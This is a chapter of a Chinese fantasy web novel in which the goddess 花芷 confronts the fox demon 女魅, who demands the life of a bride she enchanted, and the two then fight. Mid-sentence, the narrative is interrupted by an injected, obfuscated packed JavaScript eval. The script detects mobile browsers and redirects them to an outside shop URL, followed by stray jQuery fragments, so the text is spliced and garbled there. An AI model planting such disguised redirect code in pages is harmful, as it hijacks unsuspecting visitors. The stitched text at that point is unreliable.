两人快步走至一处凉亭内,古柏寄没有说话,只是手掌用力将她拉到前面,花芷被他这一拉,扯到一旁的柱子上,随即,一道身影就那么压了过来。
古柏寄长臂一伸直接将对方困在怀里,他低头看着她:
“刚才你为什么不躲?”
没想到会突然如此近距离,花芷被吓了一跳,下意识想推开他,对方的身体却重如千金。
两人靠的很近,却很有分寸,身体并未碰到,可即便如此,花芷还是有点不适应。
她抿着嘴,声音有点发冷:“躲?往哪躲?不是你把我带到这里来的吗?”
古柏寄看着她,深邃的眼神有片刻迟疑,须臾,他双臂离开,站直身体。
没了他的掣肘,花芷也立马从柱子旁边跑开,她跑到一边,大口喘着气。
胸口处的吊坠此时也烫的惊人。
此时,古柏寄清冷的嗓音从前方传来,拉回她胡乱飞舞的思绪:
“用结界将你困在冰洞,就是怕你遇见他们,这是魔界,人员混杂。”
花芷慢慢回过神来,听这话的意思竟是想保护自己,可既是如此,他又为什么要将自己抓来?
魔界……古柏寄在魔界干什么?
电光火石之间她突然想到一件事,混沌劫!
史记记载“堕神太微垣开启混沌劫,伏尸百万,流血千里。”
开启混沌劫需要三大凶器,其中之一的噬魂幽灯便是在魔界!
她心中一跳,对上他的视线,却见古柏寄突然回头,看着她道:“忍着点。”
话刚说完,花芷便感觉自己手腕一刺,低头一看,手腕上莫名出现一道红丝线,丝线的另一端缠着古柏寄的手腕。
花芷气急:“你!”
古柏寄却已经抓起她的手腕,在丝线连接处揉了揉。
他低着头,语气变得温柔:
“别想着逃跑,我已为你安排了一处房间,这几天你就好好的待在这里,放心,有我在,他们不敢对你怎么样。”
丝线很快嵌入她的手臂消失不见。
……
花芷在魔界已经待了好几天了,这期间她一直在古柏寄为她安排的房间内,偶尔出去转转。
只是她一出去便有妖魔一直盯着她看,那眼神要将她生吞活剥,可即便他们眼神再怎么凶恶,也只是盯着她看,并没有什么其他动作。
古柏寄偶尔会过来一两次,和她说说话。
她一直在看雨霜海雾珠,里面的雾气越来越浓,代表着水汽越来越多,看来,用不了多久她就能从这里离开。
这天,她向往常一样出门晃荡,走着走着,突然在前方看到一道熟悉的影子。
花芷眉头一凛,立刻跟了上去,却见那身影左拐右拐,最后走进了一间屋子。
屋内静静的坐着一个姑娘,身着红色嫁衣,面容清秀,只是神情呆滞,虽然睁着眼睛,眼神却无比空洞。
花芷突然觉得面熟,这不是在万古城结婚的那个新娘吗?
再一看去,果然,她腰间还挂着那枚黑色的玉佩,“迷情蝶。”
女子慢慢梳着自己的发丝,铜镜里面,她的身后缓缓多出一张人脸!
太过惊悚,楚清被吓了一跳,立即回头,却见身后不知,时出现了一道暗红色身影。
那女子的衣服像被鲜血猝染而成,红的发黑,处处透漏出一股妖异之气,脸色惨白,嘴唇却红的发黑,活脱脱像是地狱索命的女鬼。
楚清被吓的魂飞魄散,差点从凳子上掉下去,她向后倒退,桌子上的东西被弄得七零八落滚落在地。
她下意识想出声,岂料对方却率先开口直接打断她的话:
“别喊了,这里被我设置了结界,你叫破喉咙都不会有人听到。”
楚清被吓的大脑一片空白,太过紧张,她说话也不利索:“你……你是谁?”
女魅微微一笑,她摸着自己耳边的发丝缓缓道:
“别这么紧张,怎么样?满意你现在的生活的吗?”
她缓缓靠近楚清,嘴角的笑容越发妖冶:
“从一个无依无靠卖身葬父的孤女,衣不蔽体,食不果腹,甚至没有一处安身之所,现在却变成柳府的少夫人,锦衣玉食,万人供养,再也不用受那凄寒劳累之苦,坐享荣华富贵,这样的生活你可满意?”
楚清已退到桌子边缘,退无可退,她的胳膊不住的颤抖:“你什么意思?”
“什么意思?”女魅挑眉,脸上尽是不屑:
“看来你到现在都不知道,那我就大发慈悲的告诉你,你以为就凭你一个无亲无故的孤女,没有家室,相貌也不算一等一的出挑,凭什么会突然受到众人的爱戴?”
“你没有发现周围人这几年对你的态度都是非常好吗?甚至好到可以说是讨好,就连柳府公子都对你另眼相待,甚至将什么都不是的你娶进家门,坐上柳府少奶奶的位置。”
“可难道你就没有细想过他们的态度为何会转变的如此之快?凭你的出生和背景何德何能可以走到今天这个位置?”
楚清似乎也反应过来事情不对,确实,这几年她的运气可以说好到离谱,几乎是想要什么便有什么,周围全是对她的夸赞之声。
她的生活没有半点不顺心,现在直接飞上枝头成了少奶奶,如今细想,这一切好到不太真实。
女魅抬手,楚清只觉额头一阵滚烫,随即她额间便出现了一枚印记,同时她腰间的一枚蝴蝶玉佩不住的发着光亮。
她下意识摸向额头,慌乱的看向铜镜:“…这是什么?”
“迷蝶情,又称‘万人迷’,是狐族特有的咒术。”
女魅动了动手指继续道:“狐族本就极为擅长魅惑之术,有了它,你周围的所有人都会不知不觉的喜欢上你,否则,你以为就凭你这姿色平平毫无背景的侍女如何能坐上现在这个位置?”
打击来的太大,楚清不敢相亲听到的一切,下意识反驳:
“不可能!不可能!你胡说!我明明…明明是凭借自己…刘公子明明喜欢的是我…”
女魅被她这愚蠢的发言惹的忍不住嗤笑:
“就凭你?罢了,随你怎么想,现在你的愿望已经达成,该轮到我收取我的报酬了。”
手掌一扬,三枚暗红色毒针快速向着楚清飞去。
却在她面部三寸前猛然停住。
三朵花瓣直直的挡在毒针面前,伴随花雨飘落,房间里赫然多出一道身影。
见此身影,女魅微不可查的皱了下眉,下一秒便恢复如常:
“我当是谁,原来是天市垣,真是好巧啊。”
花芷看向毒针,毒针顷刻间便被捏的粉碎,散落一地。
她目光落在前方的女魅身上,玉星澜的记忆中就是这个魔女害的原主的母国灵域差点灭国,也是为了她古柏寄去瑶光台盗走九天玄玉,害的玉绾一惨死。
是个十足的十的危险人物。
只是看着看着,她突然觉得有点不对劲,女魅的胸前隐隐散发着血气,很明显的伤口,她的伤竟然还没有好?
古柏寄盗走九天玄玉不是就为了给她疗伤吗?按道理说她现在应该无虞才对。
为何?
眼见房间突然出现一人,顾不得其他,楚清赶紧跑到花芷身边慌张又害怕的拉着她的胳膊:
“救我!救命啊!”
花芷看了她一眼,楚清额间的印记十分明显,是‘万人迷’。
女魅笑了一下,一脸无所谓:
“你想救她?你应该看的很清楚,她中了迷蝶情,便是代表自愿和我达成交易,如今她的愿望已经完成,自然是该履行约定,将命奉献给我。”
“世上所有的东西都有明码标价,别想着白嫖,没有那种好事。”
楚清这下也反应过来了,立即反驳:“你胡说,我什么时候和你有过约定,你不要血口喷人!”
女魅勾唇,眼中满是轻蔑:“是吗?那你腰间那枚玉佩是怎么来的?”
楚清愣了一下,下意识道:“……这不是我的。”
“不管是不是你的,咒术现在在你身上,享受到应有的好处,便该付出相应的东西,等价交换,我一向很公平。”
花芷看了看楚清,道:“把玉佩还给她。”
这种咒术很好解,只要将施咒的东西还给施术者,咒术便自然迎刃而解。
楚清下意识摸向腰间的玉佩,女魅却突然道:
“你可想清楚了,你现在的一切都是因为这咒术,若是没了它,你以为你柳府少奶奶的位置还会坐的安慰吗?”
楚清的手突然一顿。
女魅了然的笑笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664164|205955||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,一脸的胜券在握,道:
“难道你还想回到以前那种寄人篱下随意被人欺凌的生活?现在锦衣玉食的生活不好吗?这么大的府邸都是你的,吃穿不尽。”
“你看看这些珠宝首饰,绫罗绸缎,还有可以随便使唤的下人,若是你把玉佩给我,这些东西都没了,楚清,你考虑清楚。”
楚清的身体愣在原地,明显迟疑。
女魅这些话确实厉害,句句戳中要害,句句都说在楚清的心眼里。
花芷皱了皱眉,道:“你不给她,你会死的。”
再好的生活能比得上性命重要?
楚清一手紧紧握着玉佩,似乎陷入挣扎。
此时,女魅却突然开口,她挑眉道:
“这样吧,我可以和你换种方式,我不杀你,玉佩你也可以保留,但是你每年必须得给我提供一个人,让他待你履行职责,替你去死。”
她看着楚清一字一句道:“你府中这么多下人,这对你来说不是难事。”
花芷凝眉,简直是荒唐至极,这等于是让别人替她去死,可随即,她又有点迟疑。
人性本就复杂,唯利是图,贪得无厌……
楚清的手握的越发紧,玉佩被她紧紧的攥在手里,她的头缓缓低下,整张脸隐匿在阴影之中,看不真切。
不打算继续纠缠,花芷刚要动手,却见楚清突然抬起头来,眼中满是血红:
“我答应你!”
她的眼睛睁的很大,呼吸沉重,像是心里的一块大石终于落地。
她又重复了一遍,像是在肯定自己刚才的话:“我答应你!”
花芷的身体静静的站在前面,她缓缓转过头来,看向刚刚向自己求救的姑娘。
此刻的她早就没有方才的惊慌,而是一脸疯狂,呼吸急促。
虽然心中已有预料,还是有点难以接受:“你疯了?”
楚清没有管她,只是眼睛直勾勾的盯着女魅:“我答应你,我答应你,只要让我继续过我现在的生活,我什么都答应你!”
女魅在一旁笑的大气不接上气:“哈哈哈哈,你看看,你看她答应的多么爽快,这就是你们神整天保护的世人,真是笑死人了!”
花芷怒而回头:“闭嘴!既然这么会算,那就请你算算,算算你今天有没有命能踏出这个房间。”
通体莹白的玉笛缓缓出现,芷手握玉魂,朵朵花瓣夹杂着灵气渐渐环绕:
“上次侥幸让你逃脱,这一次,你恐怕没那么好的运气了。”
女魅眼神闪过一丝迟疑,不过很快她便安心,她勾起嘴角满不在乎:
“你觉得你能杀的了我?”
花芷挑眉:“试试便知。”
霎时,一股庞大的花流瞬间袭来,花瓣夹杂着刀锋在空中飞速旋转,旋风一般袭向女魅。
女魅运气,暗红色屏障顿时出现在身前,花流撞上屏障,霎时间亮光大闪。
女魅胳膊被震的发麻,没等她喘气,花芷的身影眨眼便来到她身前。
手握玉魂,招式凌厉干脆,携带无匹灵力直逼女魅,女魅仓皇接招,一眨眼的功夫,两人已交手数十招。
楚清早被这阵仗吓得晕了过去,躺在地上不省人事。
空中魔气灵气错杂纷乱,女魅眯眼,三枚黑色毒针宛如毒蛇一般快速飞来,尖头泛着阴冷的毒光。
花芷手腕旋转,玉魂横于身前,朵朵花瓣瞬间出现牢牢挡住毒针,随着花芷用力,花瓣变为刀刃直接将毒针劈成两半。
爆炸的冲击不断充斥着四周,瞅准时机,花芷手握玉魂用力一击。
女魅虽抬手格挡,却不敌对方,防御被冲散,腹部一痛,她身体急速后退撞在一边的柱子上才堪堪停了下来。
花芷稳稳的站在原地,平静的看着女魅,原主的记忆不断涌现在她脑海,她闭了闭眼睛,舒尔缓缓开口:
“我未成神以前你便奈何不了我,即便将灵域围的水泄不通,你依旧杀不了我,如今我已位列神籍,你觉得你还会有胜算吗?”
女魅张了张嘴,一口鲜血喷了出来,她扶着柱子,慢慢站直身体。
花芷手中慢慢聚气,周围花瓣缓缓聚集逐渐变成一把锋利的长箭,杀决。
花芷看着她:“一路走好,不送。”
话语落,杀决出。